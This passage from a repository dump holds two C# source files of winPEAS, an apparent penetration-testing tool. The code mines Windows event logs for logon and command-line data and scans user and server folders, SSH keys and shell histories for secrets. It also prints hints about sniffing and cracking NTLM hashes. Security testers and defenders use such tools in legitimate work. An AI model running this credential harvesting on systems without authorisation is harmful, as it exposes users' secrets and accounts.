    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing winPEAS.Helpers;\nusing winPEAS.Info.EventsInfo.Logon;\nusing winPEAS.Info.EventsInfo.Power;\nusing winPEAS.Info.EventsInfo.PowerShell;\nusing winPEAS.Info.EventsInfo.ProcessCreation;\n\nnamespace winPEAS.Checks\n{\n    internal class EventsInfo : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1654\", \"T1078\", \"T1078.003\", \"T1552.001\", \"T1059.001\", \"T1082\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Interesting Events information\", \"T1654,T1078,T1078.003,T1552.001,T1059.001,T1082\");\n\n            new List<Action>\n            {\n                PrintExplicitLogonEvents,\n                PrintLogonEvents,\n                PrintProcessCreationEvents,\n                PrintPowerShellEvents,\n                PowerOnEvents,\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        private static void PrintPowerShellEvents()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"PowerShell events - script block logs (EID 4104) - searching for sensitive data.\\n\", \"T1552.001,T1059.001\");\n                var powerShellEventInfos = PowerShell.GetPowerShellEventInfos();\n\n                foreach (var info in powerShellEventInfos)\n                {\n                    Beaprint.NoColorPrint($\"   User Id         :        {info.UserId}\\n\" +\n                                               $\"   Event Id        :        {info.EventId}\\n\" +\n                                               $\"   Context         :        {info.Context}\\n\" +\n                                               $\"   Created At      :        {info.CreatedAt}\\n\" +\n                                               $\"   Command line    :        {info.Match}\\n\");\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintProcessCreationEvents()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Process creation events - searching logs (EID 4688) for sensitive data.\\n\", \"T1654\");\n\n                if (!MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.NoColorPrint(\"      You must be an administrator to run this check\");\n                    return;\n                }\n\n                foreach (var eventInfo in ProcessCreation.GetProcessCreationEventInfos())\n                {\n                    Beaprint.BadPrint($\"  Created (UTC)      :      {eventInfo.CreatedAtUtc}\\n\" +\n                                      $\"  Event Id           :      {eventInfo.EventId}\\n\" +\n                                      $\"  User               :      {eventInfo.User}\\n\" +\n                                      $\"  Command Line       :      {eventInfo.Match}\\n\");\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintLogonEvents()\n        {\n            try\n            {\n                var lastDays = 10;\n                Beaprint.MainPrint($\"Printing Account Logon Events (4624) for the last {lastDays} days.\\n\", \"T1654,T1078\");\n\n                if (!MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.NoColorPrint(\"      You must be an administrator to run this check\");\n                    return;\n                }\n\n                var logonInfos = Logon.GetLogonInfos(lastDays);\n\n                foreach (var info in logonInfos.LogonEventInfos)\n                {\n                    Beaprint.BadPrint($\"  Subject User Name            :       {info.SubjectUserName}\\n\" +\n                                      $\"  Subject Domain Name          :       {info.SubjectDomainName}\\n\" +\n                                      $\"  Created (Utc)                :       {info.CreatedAtUtc}\\n\" +\n                                      $\"  IP Address                   :       {info.IpAddress}\\n\" +\n                                      $\"  Authentication Package       :       {info.AuthenticationPackage}\\n\" +\n                                      $\"  Lm Package                   :       {info.LmPackage}\\n\" +\n                                      $\"  Logon Type                   :       {info.LogonType}\\n\" +\n                                      $\"  Target User Name             :       {info.TargetUserName}\\n\" +\n                                      $\"  Target Domain Name           :       {info.TargetDomainName}\\n\" +\n                                      $\"  Target Outbound User Name    :       {info.TargetOutboundUserName}\\n\" +\n                                      $\"  Target Outbound Domain Name  :       {info.TargetOutboundDomainName}\\n\");\n\n                    Beaprint.PrintLineSeparator();\n                }\n\n                if (logonInfos.NTLMv1LoggedUsersSet.Count > 0 || logonInfos.NTLMv2LoggedUsersSet.Count > 0)\n                {\n                    Beaprint.BadPrint(\"  NTLM relay might be possible - other users authenticate to this machine using NTLM!\");\n                }\n\n                if (logonInfos.NTLMv1LoggedUsersSet.Count > 0)\n                {\n                    Beaprint.BadPrint(\"  Accounts authenticate to this machine using NTLM v1!\");\n                    Beaprint.BadPrint(\"  You can obtain these accounts' **NTLM** hashes by sniffing NTLM challenge/responses and then crack them!\");\n                    Beaprint.BadPrint(\"  NTLM v1 authentication is broken!\\n\");\n\n                    PrintUsers(logonInfos.NTLMv1LoggedUsersSet);\n                }\n\n                if (logonInfos.NTLMv2LoggedUsersSet.Count > 0)\n                {\n                    Beaprint.BadPrint(\"\\n  Accounts authenticate to this machine using NTLM v2!\");\n                    Beaprint.BadPrint(\"  You can obtain NetNTLMv2 for these accounts by sniffing NTLM challenge/responses.\");\n                    Beaprint.BadPrint(\"  You can then try and crack their passwords.\\n\");\n\n                    PrintUsers(logonInfos.NTLMv2LoggedUsersSet);\n                }\n\n                if (logonInfos.KerberosLoggedUsersSet.Count > 0)\n                {\n                    Beaprint.BadPrint(\"\\n  The following users have authenticated to this machine using Kerberos.\\n\");\n                    PrintUsers(logonInfos.KerberosLoggedUsersSet);\n                }\n\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintExplicitLogonEvents()\n        {\n            try\n            {\n                var lastDays = 30;\n\n                Beaprint.MainPrint($\"Printing Explicit Credential Events (4648) for last {lastDays} days - A process logged on using plaintext credentials\\n\", \"T1078.003\");\n\n                if (!MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.NoColorPrint(\"      You must be an administrator to run this check\");\n                    return;\n                }\n\n                var explicitLogonInfos = Logon.GetExplicitLogonEventsInfos(lastDays);\n\n                foreach (var logonInfo in explicitLogonInfos)\n                {\n                    Beaprint.BadPrint($\"  Subject User       :         {logonInfo.SubjectUser}\\n\" +\n                                      $\"  Subject Domain     :         {logonInfo.SubjectDomain}\\n\" +\n                                      $\"  Created (UTC)      :         {logonInfo.CreatedAtUtc}\\n\" +\n                                      $\"  IP Address         :         {logonInfo.IpAddress}\\n\" +\n                                      $\"  Process            :         {logonInfo.Process}\\n\" +\n                                      $\"  Target User        :         {logonInfo.TargetUser}\\n\" +\n                                      $\"  Target Domain      :         {logonInfo.TargetDomain}\\n\");\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintUsers(HashSet<string> users)\n        {\n            if (users == null) return;\n\n            var set = users.OrderBy(u => u).ToArray();\n\n            foreach (var user in set)\n            {\n                Beaprint.BadPrint($\"    {user}\");\n            }\n        }\n\n        private void PowerOnEvents()\n        {\n            try\n            {\n                var lastDays = 5;\n\n                Beaprint.MainPrint($\"Displaying Power off/on events for last {lastDays} days\\n\", \"T1082\");\n\n                var infos = Power.GetPowerEventInfos(lastDays);\n\n                foreach (var info in infos)\n                {\n                    Beaprint.NoColorPrint($\"  {info.DateUtc.ToLocalTime(),-23} :  {info.Description}\");\n                }\n            }\n            catch (Exception e)\n            {\n                Console.WriteLine(e);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs",
    "content": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Diagnostics;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Text.RegularExpressions;\r\nusing System.Threading.Tasks;\r\nusing winPEAS.Helpers;\r\nusing winPEAS.Helpers.Search;\r\nusing static winPEAS.Helpers.YamlConfig.YamlConfig.SearchParameters;\r\n\r\nnamespace winPEAS.Checks\r\n{\r\n\r\n    internal class FileAnalysis : ISystemCheck\r\n    {\r\n        private const int ListFileLimit = 70;\r\n\r\n        public string[] MitreAttackIds { get; } = new[] { \"T1552.001\", \"T1083\" };\r\n\r\n        public void PrintInfo(bool isDebug)\r\n        {\r\n            Beaprint.GreatPrint(\"File Analysis\", \"T1552.001,T1083\");\r\n\r\n            new List<Action>\r\n            {\r\n                PrintYAMLSearchFiles,\r\n                PrintYAMLRegexesSearchFiles\r\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\r\n        }\r\n\r\n        private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles = true)\r\n        {\r\n            var files = new List<CustomFileInfo>();\r\n            var systemDrive = $\"{SearchHelper.SystemDrive}\\\\\";\r\n\r\n            List<string> directories = new List<string>()\r\n            {\r\n                @$\"{systemDrive}inetpub\",\r\n                @$\"{systemDrive}usr\\etc\\snmp\",\r\n                @$\"{systemDrive}windows\\temp\",\r\n                @$\"{systemDrive}xampp\",\r\n            };\r\n\r\n            List<string> wildcardDirectories = new List<string>()\r\n                {\r\n                    \"apache*\",\r\n                    \"tomcat*\",\r\n                };\r\n\r\n            foreach (var wildcardDirectory in wildcardDirectories)\r\n            {\r\n                directories.AddRange(Directory.GetDirectories(systemDrive, wildcardDirectory, SearchOption.TopDirectoryOnly));\r\n            }\r\n\r\n            foreach (var directory in directories)\r\n            {\r\n                files.AddRange(SearchHelper.GetFilesFast(directory, \"*\", isFoldersIncluded: true));\r\n            }\r\n\r\n            files.AddRange(SearchHelper.RootDirUsers);\r\n            // files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers\r\n            files.AddRange(SearchHelper.DocumentsAndSettings);\r\n            files.AddRange(SearchHelper.GroupPolicyHistory);    // TODO maybe not needed here\r\n            if (useProgramFiles)\r\n            {\r\n                files.AddRange(SearchHelper.ProgramFiles);\r\n                files.AddRange(SearchHelper.ProgramFilesX86);\r\n            }\r\n\r\n            return files;\r\n        }\r\n\r\n        private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound)\r\n        {\r\n            if (Checks.IsDebug)\r\n                Beaprint.PrintDebugLine($\"Searching for {fileName}\");\r\n\r\n            bool isRegexSearch = fileName.Contains(\"*\");\r\n            bool isFolder = fileSettings.files != null;\r\n            string pattern = string.Empty;\r\n\r\n\r\n            if (isRegexSearch)\r\n            {\r\n                pattern = GetRegexpFromString(fileName);\r\n            }\r\n\r\n            foreach (var file in files)\r\n            {\r\n                bool isFileFound = false;\r\n\r\n                if (isFolder)\r\n                {\r\n                    if (pattern == string.Empty)\r\n                    {\r\n                        isFileFound = file.FullPath.ToLower().Contains($\"\\\\{fileName}\\\\\");\r\n                    }\r\n                    else\r\n                    {\r\n                        foreach (var fold in file.FullPath.Split('\\\\').Skip(1))\r\n                        {   \r\n                            try\r\n                            {\r\n                                isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20));\r\n                                if (isFileFound) break;\r\n                            }\r\n                            catch (RegexMatchTimeoutException e)\r\n                            {\r\n                                if (Checks.IsDebug)\r\n                                {\r\n                                    Beaprint.GrayPrint($\"The file in folder regex {pattern} had a timeout in {fold} (ReDoS avoided but regex unchecked in a file)\");\r\n                                }\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    if (pattern == String.Empty)\r\n                    {\r\n                        isFileFound = file.Filename.ToLower() == fileName.ToLower();\r\n                    }\r\n                    else\r\n                    {\r\n                        try\r\n                        {\r\n                            isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(20));\r\n                        }\r\n                        catch (RegexMatchTimeoutException e)\r\n                        {\r\n                            if (Checks.IsDebug)\r\n                            {\r\n                                Beaprint.GrayPrint($\"The file regex {pattern} had a timeout in {file.Filename} (ReDoS avoided but regex unchecked in a file)\");\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n\r\n\r\n                if (isFileFound)\r\n                {\r\n                    if (!somethingFound)\r\n                    {\r\n                        Beaprint.MainPrint($\"Found {searchName} Files\", \"T1552.001\");\r\n                        somethingFound = true;\r\n                    }\r\n\r\n                    if (!isFolder)\r\n                    {\r\n                        var isProcessed = ProcessResult(file, fileSettings, ref resultsCount);\r\n                        if (!isProcessed)\r\n                        {\r\n                            return new bool[] { true, somethingFound };\r\n                        }\r\n                    }\r\n                    // there are inner sections\r\n                    else\r\n                    {\r\n                        foreach (var innerFileToSearch in fileSettings.files)\r\n                        {\r\n                            List<CustomFileInfo> one_file_list = new List<CustomFileInfo>() { file };\r\n                            Search(one_file_list, innerFileToSearch.name, innerFileToSearch.value, ref resultsCount, searchName, somethingFound);\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n\r\n            return new bool[] { false, somethingFound };\r\n        }\r\n\r\n        public static List<string> SearchContent(string text, string regex_str, bool caseinsensitive)\r\n        {\r\n            List<string> foundMatches = new List<string>();\r\n\r\n            try\r\n            {\r\n                Regex rgx;\r\n                bool is_re_match = false;\r\n                try\r\n                {\r\n                    // Escape backslashes in the regex string - I don't think this is needed anymore\r\n                    //string escapedRegex = regex_str.Trim().Replace(@\"\\\", @\"\\\\\");\r\n                    string escapedRegex = regex_str.Trim();\r\n\r\n                    // Use \"IsMatch\" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in \"rgx.Matches\"\r\n                    if (caseinsensitive)\r\n                    {\r\n                        is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120));\r\n                        rgx = new Regex(escapedRegex, RegexOptions.IgnoreCase);\r\n                    }\r\n                    else\r\n                    {\r\n                        is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.None, TimeSpan.FromSeconds(120));\r\n                        rgx = new Regex(escapedRegex);\r\n                    }\r\n                }\r\n                catch (RegexMatchTimeoutException e)\r\n                {\r\n                    if (Checks.IsDebug)\r\n                    {\r\n                        Beaprint.GrayPrint($\"The regex {regex_str} had a timeout (ReDoS avoided but regex unchecked in a file)\");\r\n                    }\r\n                    return foundMatches;\r\n                }\r\n\r\n                if (!is_re_match)\r\n                {\r\n                    return foundMatches;\r\n                }\r\n\r\n                int cont = 0;\r\n                foreach (Match match in rgx.Matches(text))\r\n                {\r\n                    if (cont > 10) break;\r\n\r\n                    if (match.Value.Length < 400 && match.Value.Trim().Length > 2)\r\n                        foundMatches.Add(match.Value);\r\n\r\n                    cont++;\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                Beaprint.GrayPrint($\"Error looking for regex {regex_str} inside files: {e}\");\r\n            }\r\n\r\n            return foundMatches;\r\n        }\r\n\r\n        private static void PrintYAMLSearchFiles()\r\n        {\r\n            try\r\n            {\r\n                var files = InitializeFileSearch();\r\n                //var folders = files.Where(f => f.IsDirectory).ToList();\r\n                var config = Checks.YamlConfig;\r\n                var defaults = config.defaults;\r\n                var searchItems = config.search.Where(i => !(i.value.disable != null && i.value.disable.Contains(\"winpeas\")));\r\n\r\n                foreach (var searchItem in searchItems)\r\n                {\r\n                    var searchName = searchItem.name;\r\n                    var value = searchItem.value;\r\n                    var searchConfig = value.config;\r\n                    bool somethingFound = false;\r\n\r\n                    CheckRunner.Run(() =>\r\n                    {\r\n                        int resultsCount = 0;\r\n                        bool[] results;\r\n                        bool isSearchFinished = false;\r\n\r\n                        foreach (var file in value.files)\r\n                        {\r\n                            var fileName = file.name.ToLower();\r\n                            var fileSettings = file.value;\r\n\r\n                            results = Search(files, fileName, fileSettings, ref resultsCount, searchName, somethingFound);\r\n\r\n                            isSearchFinished = results[0];\r\n                            somethingFound = results[1];\r\n\r\n                            if (isSearchFinished)\r\n                            {\r\n                                break;\r\n                            }\r\n                        }\r\n                    }, Checks.IsDebug);\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n            }\r\n        }\r\n\r\n        private static void PrintYAMLRegexesSearchFiles()\r\n        {\r\n            try\r\n            {\r\n                //List<string> extra_no_extensions = new List<string>() { \".msi\", \".exe\", \".dll\", \".pyc\", \".pyi\", \".lnk\", \".css\", \".hyb\", \".etl\", \".mo\", \".xrm-ms\", \".idl\", \".vsix\", \".mui\", \".qml\", \".tt\" };\r\n\r\n                List<string> valid_extensions = new List<string>() {\r\n                    // text\r\n                    \".txt\", \".text\", \".md\", \".markdown\", \".toml\", \".rtf\",\r\n\r\n                    // config\r\n                    \".cnf\", \".conf\", \".config\", \".json\", \".yml\", \".yaml\", \".xml\", \".xaml\", \r\n\r\n                    // dev\r\n                    \".py\", \".js\", \".html\", \".c\", \".cpp\", \".pl\", \".rb\", \".smali\", \".java\", \".php\", \".bat\", \".ps1\",\r\n\r\n                    // hidden\r\n                    \".id_rsa\", \".id_dsa\", \".bash_history\", \".rsa\",\r\n                };\r\n\r\n                List<string> invalid_names = new List<string>()\r\n                {\r\n                    \"eula.rtf\", \"changelog.md\"\r\n                };\r\n\r\n                if (Checks.IsDebug)\r\n                    Beaprint.PrintDebugLine(\"Looking for secrets inside files via regexes\");\r\n\r\n                // No dirs, less than 1MB, only interesting extensions and not false positives files.\r\n                var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < Checks.MaxRegexFileSize).ToList();\r\n                var config = Checks.RegexesYamlConfig; // Get yaml info\r\n                Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> foundRegexes = new Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> { };\r\n\r\n                if (Checks.IsDebug)\r\n                {\r\n                    Beaprint.PrintDebugLine($\"Searching regexes in {files.Count} files\");\r\n                    valid_extensions.ForEach(ext =>\r\n                    {\r\n                        int cont = 0;\r\n                        files.ForEach(f =>\r\n                        {\r\n                            if (f.Extension.ToLower() == ext.ToLower())\r\n                                cont++;\r\n                        });\r\n                        Beaprint.PrintDebugLine($\"Found {cont} files with ext {ext}\");\r\n                    });\r\n\r\n                }\r\n\r\n                /*\r\n                 * Useful for debbugging purposes to see the common file extensions found\r\n                Dictionary <string, int> dict_str = new Dictionary<string, int>();\r\n                foreach (var f in files)\r\n                {\r\n                    if (dict_str.ContainsKey(f.Extension))\r\n                        dict_str[f.Extension] += 1;\r\n                    else\r\n                        dict_str[f.Extension] = 1;\r\n                }\r\n\r\n                var sortedDict = from entry in dict_str orderby entry.Value descending select entry;\r\n\r\n                foreach (KeyValuePair<string, int> kvp in sortedDict)\r\n                {\r\n                    Console.WriteLine(string.Format(\"Key = {0}, Value = {1}\", kvp.Key, kvp.Value));\r\n                }*/\r\n\r\n                //double pb = 0;\r\n                //using (var progress = new ProgressBar())\r\n                //{\r\n                //    CheckRunner.Run(() =>\r\n                //    {\r\n                //        int num_threads = 8;\r\n                //        try\r\n                //        {\r\n                //            num_threads = Environment.ProcessorCount;\r\n                //        }\r\n                //        catch (Exception ex) { }\r\n\r\n                //        Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>\r\n                //        {\r\n\r\n                //            foreach (var regex_obj in config.regular_expresions)\r\n                //            {\r\n                //                foreach (var regex in regex_obj.regexes)\r\n                //                {\r\n                //                    if (regex.disable != null && regex.disable.ToLower().Contains(\"winpeas\"))\r\n                //                    {\r\n                //                        continue;\r\n                //                    }\r\n\r\n                //                    List<string> results = new List<string> { };\r\n\r\n                //                    var timer = new Stopwatch();\r\n                //                    if (Checks.IsDebug)\r\n                //                    {\r\n                //                        timer.Start();\r\n                //                    }\r\n\r\n\r\n                //                    try\r\n                //                    {\r\n                //                        string text = File.ReadAllText(f.FullPath);\r\n\r\n                //                        results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);\r\n                //                        if (results.Count > 0)\r\n                //                        {\r\n                //                            if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };\r\n                //                            if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };\r\n\r\n                //                            foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;\r\n                //                        }\r\n                //                    }\r\n                //                    catch (System.IO.IOException)\r\n                //                    {\r\n                //                        // Cannot read the file\r\n                //                    }\r\n\r\n                //                    if (Checks.IsDebug)\r\n                //                    {\r\n                //                        timer.Stop();\r\n\r\n                //                        TimeSpan timeTaken = timer.Elapsed;\r\n                //                        if (timeTaken.TotalMilliseconds > 20000)\r\n                //                            Beaprint.PrintDebugLine($\"\\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}\");\r\n                //                    }\r\n                //                }\r\n                //            }\r\n                //            pb += (double)100 / files.Count;\r\n                //            progress.Report(pb / 100); //Value must be in [0..1] range\r\n                //        });\r\n                //    }, Checks.IsDebug);\r\n                //}\r\n\r\n\r\n                double pb = 0;\r\n                using (var progress = new ProgressBar())\r\n                {\r\n                    CheckRunner.Run(() =>\r\n                    {\r\n                        int num_threads = 8;\r\n                        try\r\n                        {\r\n                            num_threads = Environment.ProcessorCount;\r\n                        }\r\n                        catch (Exception ex) { }\r\n\r\n                        Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>\r\n                        {\r\n                            foreach (var regex_obj in config.regular_expresions)\r\n                            {\r\n                                foreach (var regex in regex_obj.regexes)\r\n                                {\r\n                                    if (regex.disable != null && regex.disable.ToLower().Contains(\"winpeas\"))\r\n                                    {\r\n                                        continue;\r\n                                    }\r\n\r\n                                    Dictionary<string, List<string>> fileResults = new Dictionary<string, List<string>>();\r\n\r\n                                    var timer = new Stopwatch();\r\n                                    if (Checks.IsDebug)\r\n                                    {\r\n                                        timer.Start();\r\n                                    }\r\n\r\n                                    try\r\n                                    {\r\n                                        using (StreamReader sr = new StreamReader(f.FullPath))\r\n                                        {\r\n                                            string line;\r\n                                            while ((line = sr.ReadLine()) != null)\r\n                                            {\r\n                                                List<string> results = SearchContent(line, regex.regex, (bool)regex.caseinsensitive);\r\n                                                if (results.Count > 0)\r\n                                                {\r\n                                                    if (!fileResults.ContainsKey(f.FullPath))\r\n                                                    {\r\n                                                        fileResults[f.FullPath] = new List<string>();\r\n                                                    }\r\n                                                    fileResults[f.FullPath].AddRange(results);\r\n                                                }\r\n                                            }\r\n                                        }\r\n\r\n                                        if (fileResults.Count > 0)\r\n                                        {\r\n                                            if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };\r\n                                            if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };\r\n\r\n                                            foundRegexes[regex_obj.name][regex.name] = fileResults;\r\n                                        }\r\n                                    }\r\n                                    catch (System.IO.IOException)\r\n                                    {\r\n                                        // Cannot read the file\r\n                                    }\r\n\r\n                                    if (Checks.IsDebug)\r\n                                    {\r\n                                        timer.Stop();\r\n\r\n                                        TimeSpan timeTaken = timer.Elapsed;\r\n                                        if (timeTaken.TotalMilliseconds > 10000)\r\n                                            Beaprint.PrintDebugLine($\"\\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}ms in {f.FullPath}\");\r\n                                    }\r\n                                }\r\n                            }\r\n                            pb += (double)100 / files.Count;\r\n                            progress.Report(pb / 100); //Value must be in [0..1] range\r\n                        });\r\n                    }, Checks.IsDebug);\r\n                }\r\n\r\n\r\n                // Print results\r\n                foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes)\r\n                {\r\n                    foreach (KeyValuePair<string, Dictionary<string, List<string>>> item2 in item.Value)\r\n                    {\r\n                        string masterCategory = item.Key;\r\n                        string regexCategory = item2.Key;\r\n                        int limit = 70;\r\n\r\n                        string msg = $\"Found {masterCategory}-{regexCategory} Regexes\";\r\n                        if (item2.Value.Count > limit)\r\n                            msg += $\" (limited to {limit})\";\r\n\r\n                        Beaprint.MainPrint(msg, \"T1552.001\");\r\n\r\n                        int cont = 0;\r\n                        foreach (KeyValuePair<string, List<string>> item3 in item2.Value)\r\n                        {\r\n                            if (cont > limit)\r\n                                break;\r\n\r\n                            foreach (string regexMatch in item3.Value)\r\n                            {\r\n                                string filePath = item3.Key;\r\n                                Beaprint.PrintNoNL($\"{filePath}: \");\r\n                                Beaprint.BadPrint(regexMatch);\r\n                            }\r\n\r\n                            cont++;\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                Beaprint.GrayPrint($\"Error looking for regexes inside files: {e}\");\r\n            }\r\n        }\r\n\r\n        private static string GetRegexpFromString(string str)\r\n        {\r\n            // we need to update the regexp to work here\r\n            // . -> \\.\r\n            // * -> .*\r\n            // add $ at the end to avoid false positives\r\n\r\n            var pattern = str.Replace(\".\", @\"\\.\")\r\n                             .Replace(\"*\", @\".*\");\r\n\r\n            pattern = $\"{pattern}$\";\r\n\r\n            return pattern;\r\n        }\r\n\r\n        private static bool ProcessResult(\r\n            CustomFileInfo fileInfo,\r\n            Helpers.YamlConfig.YamlConfig.SearchParameters.FileSettings fileSettings,\r\n            ref int resultsCount)\r\n        {\r\n            // print depending on the options here\r\n            resultsCount++;\r\n\r\n            if (resultsCount > ListFileLimit) return false;\r\n\r\n            // If contains undesireable string, stop processing\r\n            if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)\r\n            {\r\n                foreach (var rem_path in fileSettings.remove_path.Split('|'))\r\n                {\r\n                    if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))\r\n                        return false;\r\n                }\r\n            }\r\n\r\n            if (fileSettings.type == \"f\")\r\n            {\r\n                var colors = new Dictionary<string, string>\r\n                {\r\n                    { fileInfo.Filename, Beaprint.ansi_color_bad }\r\n                };\r\n                Beaprint.AnsiPrint($\"File: {fileInfo.FullPath}\", colors);\r\n\r\n                if (!(bool)fileSettings.just_list_file)\r\n                {\r\n                    GrepResult(fileInfo, fileSettings);\r\n                }\r\n            }\r\n            else if (fileSettings.type == \"d\")\r\n            {\r\n                var colors = new Dictionary<string, string>\r\n                {\r\n                    { fileInfo.Filename, Beaprint.ansi_color_bad }\r\n                };\r\n                Beaprint.AnsiPrint($\"Folder: {fileInfo.FullPath}\", colors);\r\n\r\n                // just list the directory\r\n                if ((bool)fileSettings.just_list_file)\r\n                {\r\n                    string[] files = Directory.GetFiles(fileInfo.FullPath, \"*\", SearchOption.TopDirectoryOnly);\r\n\r\n                    foreach (var file in files)\r\n                    {\r\n                        Beaprint.BadPrint($\"    {file}\");\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    // should not happen\r\n                }\r\n            }\r\n\r\n            return true;\r\n        }\r\n\r\n        private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings)\r\n        {\r\n            var fileContent = File.ReadLines(fileInfo.FullPath);\r\n            var colors = new Dictionary<string, string>();\r\n\r\n            if ((bool)fileSettings.only_bad_lines)\r\n            {\r\n                colors.Add(fileSettings.bad_regex, Beaprint.ansi_color_bad);\r\n                fileContent = fileContent.Where(l => Regex.IsMatch(l, fileSettings.bad_regex, RegexOptions.IgnoreCase));\r\n            }\r\n            else\r\n            {\r\n                string lineGrep = null;\r\n\r\n                if ((bool)fileSettings.remove_empty_lines)\r\n                {\r\n                    fileContent = fileContent.Where(l => !string.IsNullOrWhiteSpace(l));\r\n                }\r\n\r\n                if (!string.IsNullOrWhiteSpace(fileSettings.remove_regex))\r\n                {\r\n                    var pattern = GetRegexpFromString(fileSettings.remove_regex);\r\n                    fileContent = fileContent.Where(l => !Regex.IsMatch(l, pattern, RegexOptions.IgnoreCase));\r\n                }\r\n\r\n                if (!string.IsNullOrWhiteSpace(fileSettings.good_regex))\r\n                {\r\n                    colors.Add(fileSettings.good_regex, Beaprint.ansi_color_good);\r\n                }\r\n                if (!string.IsNullOrWhiteSpace(fileSettings.bad_regex))\r\n                {\r\n                    colors.Add(fileSettings.bad_regex, Beaprint.ansi_color_bad);\r\n                }\r\n                if (!string.IsNullOrWhiteSpace(fileSettings.line_grep))\r\n                {\r\n                    lineGrep = SanitizeLineGrep(fileSettings.line_grep);\r\n                }\r\n\r\n                fileContent = fileContent.Where(line => (!string.IsNullOrWhiteSpace(fileSettings.good_regex) && Regex.IsMatch(line, fileSettings.good_regex, RegexOptions.IgnoreCase)) ||\r\n                                                       (!string.IsNullOrWhiteSpace(fileSettings.bad_regex) && Regex.IsMatch(line, fileSettings.bad_regex, RegexOptions.IgnoreCase)) ||\r\n                                                       (!string.IsNullOrWhiteSpace(lineGrep) && Regex.IsMatch(line, lineGrep, RegexOptions.IgnoreCase)));\r\n            }\r\n\r\n            var content = string.Join(Environment.NewLine, fileContent);\r\n\r\n            Beaprint.AnsiPrint(content, colors);\r\n\r\n            if (content.Length > 0)\r\n                Console.WriteLine();\r\n        }\r\n\r\n        private static string SanitizeLineGrep(string lineGrep)\r\n        {\r\n            // sanitize the string, e.g.\r\n            // '-i -a -o \"description.*\" | sort | uniq'\r\n            // - remove everything except from \"description.*\"\r\n\r\n            Regex regex;\r\n            if (lineGrep.Contains(\"-i\"))\r\n            {\r\n                regex = new Regex(\"\\\"([^\\\"]+)\\\"\", RegexOptions.IgnoreCase);\r\n            }\r\n            else\r\n            {\r\n                regex = new Regex(\"\\\"([^\\\"]+)\\\"\");\r\n            }\r\n\r\n            Match match = regex.Match(lineGrep);\r\n\r\n            if (match.Success)\r\n            {\r\n                var group = match.Groups[1];\r\n                return group.Value;\r\n            }\r\n\r\n            return null;\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/FilesInfo.cs",
